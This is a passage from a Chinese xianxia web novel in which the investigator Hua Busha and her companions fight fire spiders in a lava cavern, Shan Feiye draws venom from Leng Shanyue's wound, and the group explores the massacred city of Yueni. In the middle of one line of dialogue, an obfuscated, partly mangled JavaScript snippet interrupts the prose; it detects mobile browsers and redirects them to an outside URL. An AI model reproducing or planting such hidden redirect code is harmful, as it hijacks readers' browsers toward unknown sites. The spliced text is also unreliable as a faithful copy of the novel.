商决呆了一下,随即笑道:“无妨,不打紧的事。上回在平山城见你遇难,命悬一线,不知你与那鬼界将军有何瓜葛,竟被重伤至此?” 花不杀道:“恶鬼作乱,我奉命探查平山城杀人案,那日刚探清来龙去脉,他们便做局杀我。我能捡回一命,说来还要感谢你们搭救,大恩日后必报。” 商雪道:“我们也是知晓了平山城疑案,才前去一探的,恰好见你落于尸群之间,哥哥便将你救下。举手之劳不足挂齿,况且先前见过一面,算是有缘,不必言谢。” 花不杀笑着点了点头,施术将身上水渍吹干。 商决道:“上回一见,匆匆别过,还不知姑娘如何称呼?姑娘奉命探案,不知可是来自天镜司?” 花不杀道:“在下花不杀,乃天镜司巡按。” 商决与商雪面露惊讶,商雪喜道:“早听闻花巡按大名,不曾想我们早已见过,大人除暴安良,声名远扬,我和哥哥钦佩已久,失敬失敬。” 花不杀道:“不敢当,分内之事罢了。不知你们救我之时可曾见到一个小公子?他戴着紫金镯,面露稚气,名叫阿契。” 商雪道:“大人放心,阿契公子也被我们救下,此刻正在前厅用膳。那日他重伤冻结在血海之中,我与哥哥将他救下,一并带回。他伤得重,但身体恢复极快,如今已经痊愈,大人不必担心。待他用完膳,我再带他来见大人。” 花不杀点头道:“多谢。” 窗外白光闪来,一道传音咒落在花不杀耳畔,咒光中传出冷山月的呼声:“大人,你在哪儿啊?快来救我……我要死了……” 花不杀面露担忧,看着二人道:“二位公子大恩日后再报,眼下有一桩急事需我前去,请恕我失礼,告辞。” “你去哪……”商决话没说完,花不杀已化作一道光芒闪上天去。 商决心中不安,随后跟去。商雪找到阿契,拉上他在后追赶。 …… 巨大的洞厅被火光照得通红,周遭的石壁被火焰炙烤,烧成鲜艳的赤红色。底部不知深浅的岩浆翻涌,封闭的洞穴明明没有风,但岩浆却像海浪一样一层层拍打在洞底的石壁上。 火焰自底部燃烧,随着岩浆的涤荡蔓延生长。火舌交织缠绕,涌向数丈的空中。整个洞厅笼罩在焦灼的空气里。四周是封闭的石壁,唯一可以落脚的便是高出岩浆几丈的石台。 冷山月站在石台上,四周的火焰将她包围。火海里不时有白色的丝线向她射来,看着纤细无比,却像琴弦一样坚韧,冷山月手持白罹一次次迎击。 先时灵力充沛,她还能与之对抗,可随着进洞时间越来越长,她的体力迅速下降,迎击的速度便迟缓下来。 丝线的攻击速度却越来越快,一时不察,便让一条丝线穿腹而过。随即鲜血流出,疼痛不止。 丝线停留在伤口里面,像有意识一样缠绕住冷山月的腰身。每移动一步,丝线也随之在肉里前进一寸,在血肉间撕扯。 冷山月虚汗淋漓,烧灼感让她头晕目眩,体力迅速耗尽,再难以御剑抵抗。只能拼尽全力设下结界,并千里传音于花不杀。 冷山月试着扯出丝线,但是每次都只是让伤口扩大,让疼痛更甚,只能瘫坐在地上调息。 丝线的攻势没有减弱,反倒更加密集,一次次撞击在结界上。结界不堪重负,终于在一声爆裂声中碎裂消失。 丝线从四面八方突围进来,她再也挣扎不了。她期盼有一个人从天而降,哪怕是…… 却在此时,听见周身响起金石撞击般的声音,却见白罹飞梭在身前,将丝线都挡了回去。 冷山月不免惊讶,自己的灵力已经衰竭,为何白罹剑却还有灵力可以支使?明明她没有操控。可是她已经没有力气再去细想了,一手撑在地上,一手捂住伤口,不让血液流得太快。 几次交锋之后,白罹剑陨落在地。她再也没有还手之力,坐在地上一动也不能动,便眼睁睁看着几条丝线,一条扎进手腕,一条穿膛而过,一条刺穿锁骨。 剧烈的疼痛爆发,冷山月浑身抽搐地倒在血泊里,双手颤抖,再也按不住伤口。她绝望了。 下一瞬丝线却突然停止了攻击。而后只见火焰里出现一个巨大的深红色影子,一条赤色的蜘蛛腿踏上石台。 红蜘蛛浑身燃着火焰,嘴里丝线乱飞,一步一步向她走来。它在她面前站定,冷山月整个身子都笼罩在它的阴影之下。 它用火红的眼珠看着冷山月,突然张开大嘴,像个嗜血的魔鬼向她靠近。冷山月眼看着它的血口越来越近,最后落在自己的脖子上。 皮肤被它的尖嘴刺破,同时一种炽热的烧灼感从伤口处蔓延全身,伴生出一股剧痛,感觉身体像被数百柄利剑穿刺。 她疼得缩成一团。丝线却开始收紧,缠绕紧冷山月,将她的手脚束缚住。红蜘蛛嘴里源源不断吐出细丝,慢慢将她包裹起来。 却在丝线要将她完全包裹成茧的最后关头,栖谲剑穿透红蜘蛛的腹部,一击将它化成血水。 花不杀劈断丝线,将冷山月救出,但她已气息微弱,晕死过去。她用灵力粉碎残存于她体内的丝线,一边为她治伤。 冷山月昏睡中突然开始扭动身体,脸上表情也变得狰狞起来,好像忍受着巨大的痛苦。 “山月,山月,你醒醒,我来救你了,不怕,我在。” 花不杀轻轻拍打她的胸口,好不容易让她安静下来。却忽然发现她脖子上的伤口开始变成深红色,并且身体散发热量,变得滚烫。 花不杀为她探脉,发现她体内的蛛毒已经开始蔓延。红蜘蛛能在这样的地方出现,还浑身燃烧火焰,显然是经人炼化过的,毒性也定异常凶险。 她只能输入灵力暂时控制毒性。冷山月的身体状况慢慢好转一些,只是一时半刻还苏醒不了。 身后一道阴影罩来,只觉周身生出一股可怕的杀气。花不杀立即转身,却见一只蜘蛛腿从她头顶踩了下来。栖谲飞来横档在她身前,她即刻带着冷山月转移到一旁。 她催动栖谲化身百剑,齐射出去,却都停在它身外一丈的空中,靠近不了。眼看它的身躯快速坠落,已到头顶,花不杀只得瞬移躲避。 却未料想那红蜘蛛也在空中调转方向,追寻她的轨迹步步逼近。她只得将栖谲收回手中,与它厮杀。却不想它身躯坚如精钢,几剑下去,丝毫不伤。 花不杀心觉不安,看它的身躯比刚刚那只大了许多,且灵力高深莫测,怕是惹到了蜘蛛王。 它的躯壳刀剑不入,花不杀想不到能用什么办法将它制服,几招下来,讨不到半点便宜。它却似乎有用不完的力气,围追堵截,将她逼入险地。很快花不杀浑身疲乏,只能快速设下结界,力求护身。 正当时,头顶两道白影飞落,双剑击向红蜘蛛,她终得间隙飞回石台。 商决道:“对不起,我们来晚了。” 花不杀看着他道:“无妨,来得正是时候。” 阿契紧随其后赶来,落在石台上,他看见冷山月的惨状,以及花不杀疲累的模样,心疼不已。他安慰道:“姐姐休息一下,我和商决、商雪哥哥去对付大蜘蛛,姐姐放心,我们会救你们的。” 阿契说完亮出光剑,飞身加入战斗。 红蜘蛛腹背受敌,稍显吃力,朝着两边狂吐丝线,却都被他们斩断,它不免开始有些暴躁。 只见它把身上的火焰变幻成球状,三个火球便朝他们飞去,同时丝线加倍飞射击出。三人躲开火球,而后再次分立于红蜘蛛周边,齐心念咒,列下剑阵将它困于其中。 红蜘蛛刚要聚力反击,却见一红衣身影突然从洞厅顶端俯冲而下,手掌凝力稳稳拍在它的头顶。红蜘蛛头晕目眩,当即翻了个身,直直坠入岩浆中去。 众人一看,来人却是山飞夜! 山飞夜落地,径直走向冷山月,在看清她的伤势后脸色微变。冷山月的脸颊已苍白如纸,快没了人气,身体紧紧缩成一团,不时抽搐一下。被丝线穿透的伤口虽止住了血,可是那暗红色的干硬血迹,昭示着这里曾经是多么惨烈剧痛的伤口。 山飞夜懊悔当时放她走了,若是留在他身边,他拼命也不会让她受伤。 “山月,你醒醒,我带你回去。” 山飞夜从花不杀怀中抱起冷山月,转身要走,就见一把剑直直飞来,直指他的眉心。 “放下山月,你凭什么碰她!”花不杀怒从心起,将他拦在原地。 “我不想浪费口舌,和你在一起她只会身受重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15659294|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤,我要带她走,谁也别想拦着!”山飞夜眼神凌厉,周身杀气四逸。 花不杀从未见他这般认真过,但是想从她手底下带走冷山月,除非她死了。 “我不知这次的事和你有无关系,但她之前受伤皆因你而起,你要带她走,绝无可能!” 山飞夜眼眸深邃,越发狠厉,“以你的能力,你以为能拦得住我吗?就算加上他们几个,你就确定你能抢走山月?这一次,说什么我都不会放手,让开!” 山飞夜向前走了一步,花不杀毫不退让,栖谲剑也向他眉心更近一截。 两个人的眼睛都狠狠盯着对方,虽然谁也没有动手,但眼神却已过了千百招,大战一触即发。 商决、商雪和阿契站在花不杀身后,长剑在握,随时准备与山飞夜大开一战。 山飞夜道:“你让不让开?” 花不杀道:“不让!” 山飞夜眼中生出怒意,红瞳冷漠,衬着惨白皮肤,更加恐怖,“那就别怪我了!” 山飞夜周身红光大盛,一股无形的力量从他身上散出。伴随着恐怖的讪笑,红光也变得妖异起来,像无数条灵蛇张牙舞爪地逸散出去,不断攻击着花不杀的防御攻势。 花不杀灵力耗费许多,虽有三人的灵力支持,力量还是悬殊,一时不防便被震开数丈。 山飞夜抱着冷山月轻轻一跃,瞬间飞到几丈高的空中。 眼见他要消失,花不杀大喊:“山月中了蛛毒,你带她走,是要她的命吗?!” 山飞夜顿在半空,低头查看她的伤口,才发现脖子侧面深红色印记。他回头凝视花不杀的眼睛:“你说什么?” 花不杀道:“山月中了毒,此毒凶险,必须找到解药,你就这样带走她,是要她的命吗?” 山飞夜仔细查看她的伤口,深红色的印迹触目惊心,他伸手抚摸,发觉她皮肤发烫,十分反常。 他低头亲吻她的额头,冷山月却突然在他怀里扭动起来,深红色的印迹正迅速扩大,她的身体也越来越烫。她的双拳紧紧攥着,隐忍着痛苦。 花不杀飞上前来,山飞夜手一挥,一道光屏将她隔离在外。 “山月,别害怕。” 山飞夜轻轻擦去她额间的汗水,再次吻了一下,然后转向伤口处,亲吻下去。他吮吸着伤口的血液,一口一口将里面的毒液吸出。 冷山月痛苦地扭动身子,山飞夜就把她抱得更紧,一只手轻抚她的后背,安抚着。 花不杀愣怔片刻,不敢相信自己看到的画面,不敢相信山飞夜在意冷山月。 随着血液被吸出得越来越多,冷山月慢慢安静下来,脸上的表情也慢慢舒缓。山飞夜的脸色却越发难看了,额上青筋暴起,虚汗淋漓,捂着胸口面露狰狞。 他慢慢放开冷山月,却一步没站稳,摔倒在光屏里面,一口鲜血喷洒出去。他随意擦去血迹,看着慢慢恢复正常的冷山月,虚弱地笑了。 可没过几秒,胸腔里剧烈的痛感就翻腾而起,他蓦地瞪大眼睛,血腥味再次涌上喉头,又一次喷出鲜血。 山飞夜坐地调息,好久才将毒性暂时压制下去。他抱起冷山月,去了光屏,将她交到花不杀手中。 “照顾好她,别再让她受伤。” 山飞夜交代完,转过身去,强撑着飞出洞厅。 花不杀看着他的背影,不知所措,缓了会儿才想起查看冷山月的状况。 “大人……”冷山月缓缓苏醒,声音细如蚊蝇。 花不杀见她脸色恢复许多,终于心安,责怪道:“山月,你可把我吓坏了。” 冷山月虚弱地露出一张笑脸,赔罪道:“大人,对不起,让你担心了,我还以为我要死了,还以为再也见不到你了。” 花不杀道:“说什么傻话,下次不可以一个人行动了。” 冷山月乖乖点头。 …… 出了洞厅,花不杀环顾四周,看清了此处地形。洞厅上方原是一个山间盆地,四周大山遮蔽,十分隐秘。 冷山月休息片刻,已经可以站起来,她看了一眼一旁的商决和商雪,扯了下花不杀的衣袖,问道:“大人,他们是谁?” 花不杀道:“西域域君的两位公子,商决和商雪。” 商雪惊奇道:“原来你知道我们的身份?” 花不杀轻笑一声,“早就听闻西域域君的两位公子模样出尘,且是一对双生子,加之你们住在王宫,便不难猜。” 商决笑道:“大人好聪慧。” 花不杀转头问冷山月:“这些天你都去哪儿了,怎会出现在这洞厅里,可是发生什么事了?” 冷山月道:“那日大战之后我就被山飞夜带走了,今日才逃出来,便想来找大人。我从平城周边找起,后来路过这月霓城,恰巧看见一个女子蒙着面纱鬼鬼祟祟地来到这儿,而后突然消失,我觉事有蹊跷跟了上去,结果就掉进了洞厅里。” 花不杀道:“可是蓝衣女子?” 冷山月道:“不是,是红衣。大人,我记得我昏迷前被蜘蛛咬了,中了剧毒,大人是用什么办法救我的?” 花不杀道:“是山飞夜救了你。” 冷山月一下恍惚了,很快惊醒过来,嬉笑道:“大人说笑,怎么可能是他,他巴不得我死呢,一定是你救了我,但是又怕我担心你损耗太多灵力,伤害身体,对吧?” 阿契道:“山月姐姐,没错的,真的是他。” 冷山月看着花不杀和阿契认真的眼神,不解地呢喃:“怎么会是他呢?” 30. 探秘 平山城案暂时告一段落,既已知道凶手是谁,抓捕只是时间问题。现在当务之急是弄清楚红蜘蛛背后的操控者——那个红衣女子的来历。 红蜘蛛浴火不焚,显然经过炼化,身藏剧毒,且灵力高深,藏在这样隐秘的地下洞厅里,背后一定藏着阴谋。 待冷山月伤势恢复之后,他们便决定探秘月霓城。 初入城中,便觉得空气隐隐有丝焦灼的气味,周边温度也比城外高出许多。热浪一阵阵袭来,空气干燥焦热,窒息感扑面而来。 环顾四周,进城的主街道上竟一个人也没有,户户家门紧闭,安静得一点声音也听不见。整座城的色调都显得暗沉,没有一点生命气息。 商决低声叹息,道:“我记得上回来月霓城的时候,这里还是十分繁华的街市,怎的会短短时间之内破败成这样了?” 花不杀道:“此事很大几率与红蜘蛛有关,这里连人都没有,温度却这么高,很是诡异。红蜘蛛喜热,城中或许也有隐匿,需小心些。” 走了许久,街道上还是未见一人,这月霓城俨然是一座空城。他们停下脚步,正不知道下一步该往哪儿走,忽听周遭传来一片窸窸窣窣的声响。 环顾四周,却并未发现什么异样。 商决将他们护在身后,目光从周围的房屋上一间间扫过,却突然在一扇窗子上发现一个闪烁的红色光点。他随即召出佩剑,一边提醒道:“小心,有东西!” 话音刚落,那光点便突破窗纸飞射过来,来不及看清是什么东西,就被商决飞速斩成两半。 低头看去,那物的身躯竟还在扭动,浑身冒着焰火。明明已经分裂成两半的躯体,却竟愈合起来,足尖一跃,又向他们飞来。 那东西,原来是一只缩小版的烈焰蜘蛛。 商决持剑迎击,照着它的位置狠劈下去,它却只是被剑光震慑开来,丝毫未损。 同一时间,又有几只烈焰蛛飞出屋外,那些原先昏暗的室内却都突然亮了起来,屋子里红光点点,整条街都笼罩在红色的光晕中。 红点攒动,竟都是烈焰蛛,数量之多,犹若满天星辰。只是它满身焰火,为何所有房屋却都安然无恙? 越来越多的烈焰蛛从四面八方杀来,占据整条街道,犹如一片红色的潮水涌动,眨眼的功夫便窜至脚下。随之火热的气浪翻涌过来,将他们笼罩其中。 花不杀道:“大家小心,蜘蛛当道,怕是来者不善!” 栖谲率先激飞出去,剑身拖出长长一道紫光,径直冲向烈焰蛛群。却没想到栖谲刚一近身它们便都闪身躲避,灵敏程度令人咂舌。 冷山月道:“这些死东西怕不是成了精吧?竟这般厉害?我偏要看看是它们的壳硬,还是我的剑快!”白罹接着攻去,爆射的白光杀气凛凛,眨眼杀进蛛群之间。 栖谲也在此时飞回,两股力量从前后夹击,猛地向中间撞击而去,终于将来不及逃窜的数百只烈焰蛛碾碎成齑粉。 攻击稍见成效,但是此举也彻底激怒了它们。烈焰蛛突然跃到空中,黑压压一大片如雨点向他们砸去。他们即刻结阵屏御。 两股力量对峙,一层层灵力波荡开来,径直向外四射。一时间木瓦乱飞,沙石横窜,场面惨烈,几乎将整条街道夷为平地。 灵气四散,无意间破了城中的障眼法。只见那些房屋突然倒塌在地,化为黑朽的焦炭,在其周围,是无数零散的白骨和满地焦黑的血渍。 这城原是被烈火屠遍,化为灰烬!一堆堆白骨,皆为城民身死所化,难怪不见活人。 两股力量势均力敌,慢慢形成一种微妙的平衡状态。可是身后涌来的烈焰蛛却越来越多,一波接着一波快速接近,攻势也越来越猛烈。结界几乎快要支持不住,再难阻拦。 “商决哥哥小心!” 忽听阿契大喊一声,而后他抽出一只手,掌心对着商决身后射去一道灵光,正击在飞向商决的烈焰蛛身上。 也在这时,结界开始剧烈颤动。因为商决的分心让它们有了可乘之机,它们忽的发力,局势突然危急。 眼看着它们发出的红光向外吞噬,越来越霸道。而后只听一声爆炸,火光四溅的同时,烈焰蛛也被强大的力量溅射出去,如飞箭一支支射来。 “小心!” 五人皆被爆发的灵力震飞出去,还没落地,地上的烈焰蛛就已堆积成了小山丘,只待他们落脚,便飞扑上去。 他们只得各自再设下结界护身。 “姐姐,现在怎么办?” 阿契看着远处的花不杀,方才红光爆发时,他们五人被震飞在五个方向,阿契现在孤立无援。他的魔力被紫金镯制约,五人之中数他力量最弱,方才又损耗太多,用来支撑结界的灵力已寥寥无几。烈焰蛛疯狂啃食,结界已岌岌可危。 “阿契别怕,我来救你!” 花不杀一边稳住结界,一边将栖谲狠刺向地面,一阵紫光自平地波荡,将周围的烈焰蛛震开。 她趁机冲出结界,落在阿契身旁,二人合力设下更大的结界。他们长剑在握,欲做最后一搏。 却在烈焰蛛将要靠近之时,身旁白光闪烁,一股力量从他们侧面横穿过来。 花不杀转头看去,只见一条巨大的白蛇飞速冲来,蜷身裹挟着四人朝城外飞去。乌泱泱的烈焰蛛尾随其后,将天空都烧成了鲜艳的红色。 却还没飞出多远,就见前方火光闪闪,烈焰蛛不知何时超越到前头,又一大片从前方包抄过来。 商决的蛇身再难突围,俯视地面,见山下有一个洞口,便转身俯冲下去。 商决飞至洞口,将他们放下,然后化为人形。眼睛环视洞内,未发现危险,便带着他们进入洞内,几人合力在洞口设下结界。 冷山月精疲力尽,瘫软地倚靠在石壁上,“大人,这次我们惹上大麻烦了,光烈焰蛛就把我们打得这样狼狈,它背后的红衣女子还不知道厉害成什么样了呢。” 花不杀安慰道:“山月勿怕,山飞夜那般的恶鬼都讨教过了,惧她作甚?我看这红衣女子未必就比山飞夜厉害,只是有些手段,懂得驱使烈焰蛛罢了。任她是九天仙神,我偏要和她斗上一斗,谁死谁活还未可知。” 商决道:“大人既已决定好了,我们必定奉陪到底,放心,有我们在,她伤不了你们的,我们会保护你们。” 洞外烈焰蛛聚拢起来,一大团围堵在结界上,将所有光线遮挡干净。蛛群快速涌动,不停地攻击着结界。结界上不时光芒迸溅,灵力波荡,看形势迟早要被攻破。 却在这时,山洞突然开始震动起来,洞顶一条裂缝将山洞劈成两半,不时有巨石滚落。地面剧烈晃动,身体摇摇晃晃再站不稳。 结界支撑不了多久,与其被它们突围进来逼入险境,不如往洞内撤离,去寻另外的出口。五人快速往洞内撤离。 黑漆漆深不见底的洞穴内阴森恐怖,五人手持焰火,紧挨着向洞内前进。 进洞越来越深,周遭的空气也越来越灼热。不时有细碎的声响自前方传来,像是有什么东西在快速移动着,他们戒备起来。 又不知走了多久,周遭空气灼热难耐,呼吸都变得困难起来。细碎的声响慢慢清晰,犹如人走在沙地上发出的摩擦声。 空气里弥漫着一股血腥气息,像是腐肉的味道,令人作呕。他们警惕地握紧佩剑,更加谨慎。 “姐姐,是人骨!”忽听阿契叫喊一声,突然停下看着地上的什么东西。 四人随他视线看去,只见一截白骨平躺在地上,上面还有血迹和一丝腐肉,看样子像是离开躯体没有几天,还新鲜得很。 花不杀蹲下身子仔细看着白骨,见上面有一圈咬痕,看形状像是人的牙齿留下来的。 人吃人? 花不杀提醒道:“大家小心,洞里有古怪。” 花不杀话音未落,就听见洞内传出一阵轰隆隆的声响,地面再次开始颤动。 同时头顶突然出现一片红光,感觉到有一股力量随着红光向下面挤压下来。周围的温度猛地升高许多,空气里血腥的恶臭突然加重,快要让人喘不过气。 五人 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身前不远处是一片岩浆形成的湖泊,岩浆无风自涌,伴随着火焰撞击在石壁上,把石壁烧得赤红。 岩浆湖的四角各有一条石头巨龙,面朝湖心,嘴里吐出一大股血液,在岩浆上积起一层暗红色硬物。 巨龙浑身蓝光闪烁,仔细一看,原来是许多幽蓝色的鬼魂缠绕在它的身上,张牙舞爪,正在吞食血液。 洞厅的顶部垂下无数条绳索,每一条绳子的末端竟然都挂着一具尸体,一大片整齐地悬挂在头顶的空中。 错综复杂的山洞,巨大的地下洞厅,莫非月霓城内不见人影,原是他们都被人杀害,藏在地下了?花不杀神经绷紧,看着眼前的惨状,越发觉得可怕。 短时间内月霓城被屠,消息竟然没有传开,若不是冷山月误打误撞,他们还不知道月霓城内已经是一座空城。 能轻而易举杀死一城的人,还不被人发现,看来那红衣女子不仅手段狠辣,背后也一定有不小的势力。 附在巨龙身上的鬼魂发现花不杀,全都往她这边看来,长舌掠过嘴唇,贪婪讪笑。 下一秒他们突然从巨龙身上脱身,近乎透明的身躯犹如灵光漂浮,瞬间飞到花不杀身前。 栖谲迎面飞去,刚靠近鬼魂身边,就将它们击散。鬼魂丝毫没有还手之力,只能往回逃窜,转身涌向头顶的尸群,钻进了尸体体内。 只见尸体身上蓝光闪烁,原本僵硬的躯体,瞬间全部活了过来。他们眼睛瞪得巨大,手脚开始剧烈挣扎,锋利的爪牙撕扯着空气,一声声怒嚎。 挂在脖子上的绳索被他们扯断,尸体一具具掉落下去,随后竟踩着岩浆走了过来。 等他们靠近,花不杀才发现他们脖子上都有一个伤口。随着身体动作的施展,伤口周围的皮肤开始变成深红色,与冷山月被烈焰蛛咬伤时候的症状一致。 果然这些人都是死在烈焰蛛嘴下的! 花不杀跃到空中,栖谲瞅准时机划破他们的喉咙。本以为就此了结,却发现他们扶着脖子大步走来,切口竟快速愈合。 花不杀列下剑阵,数百支剑一起飞去,尸体却站在原地躲也不躲,眼睁睁看着长剑穿身而过,竟毫发无伤。不过此举激发了他们的怒气,他们身上红光闪烁,皮肤的颜色也越发鲜红。 伤口溢出血来,接着只见一只只火红的蜘蛛从皮肉里钻出。 原来缩小版的烈焰蛛是饮尽血液,从尸体上脱离出来的! 一大片烈焰蛛飞扑而来,花不杀只得布下结界。无数张嘴在上啃咬着,她隐隐感到不安,心知结界迟早会被攻破,必须快点脱身。 花不杀目光扫过洞厅,见离湖面几丈高的石壁上有一处洞口,于是将灵力注入剑中,朝着洞口的方向狠劈向结界。 一阵紫光爆射出去,结界裂开缝隙,她则寻隙飞出,直往洞口飞去。 花不杀极速飞进洞中,在洞口设下屏障,喘息几下平复心情之后,转身走进洞内。